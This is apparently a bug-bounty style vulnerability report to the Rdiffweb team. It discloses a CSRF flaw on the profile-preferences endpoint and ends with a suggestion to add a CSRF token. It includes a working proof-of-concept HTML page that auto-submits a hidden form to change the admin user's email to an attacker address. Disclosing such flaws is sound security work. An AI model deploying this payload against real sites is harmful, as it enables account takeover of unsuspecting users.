✍️ Description

Hello dear Rdiffweb team.

I found a CSRF vulnerability on following endpoint that attackers able to change the email of a user with PoC.html

🕵️‍♂️ Proof of Concept

  1. user with right privileges should be logged in Firefox or Safari.

  2. Users go to a website that contain PoC.html

3.after visiting attacker's website a user's email with username admin will be changed to attacker@mail.com. // PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://rdiffweb-demo.ikus-soft.com/prefs/general" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="attacker&#64;mail&#46;com" />
      <input type="hidden" name="action" value="set&#95;profile&#95;info" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Also attacker can send multiple request with help of Iframes.

Fix

I just want to suggest you to set a CSRF token for this form.
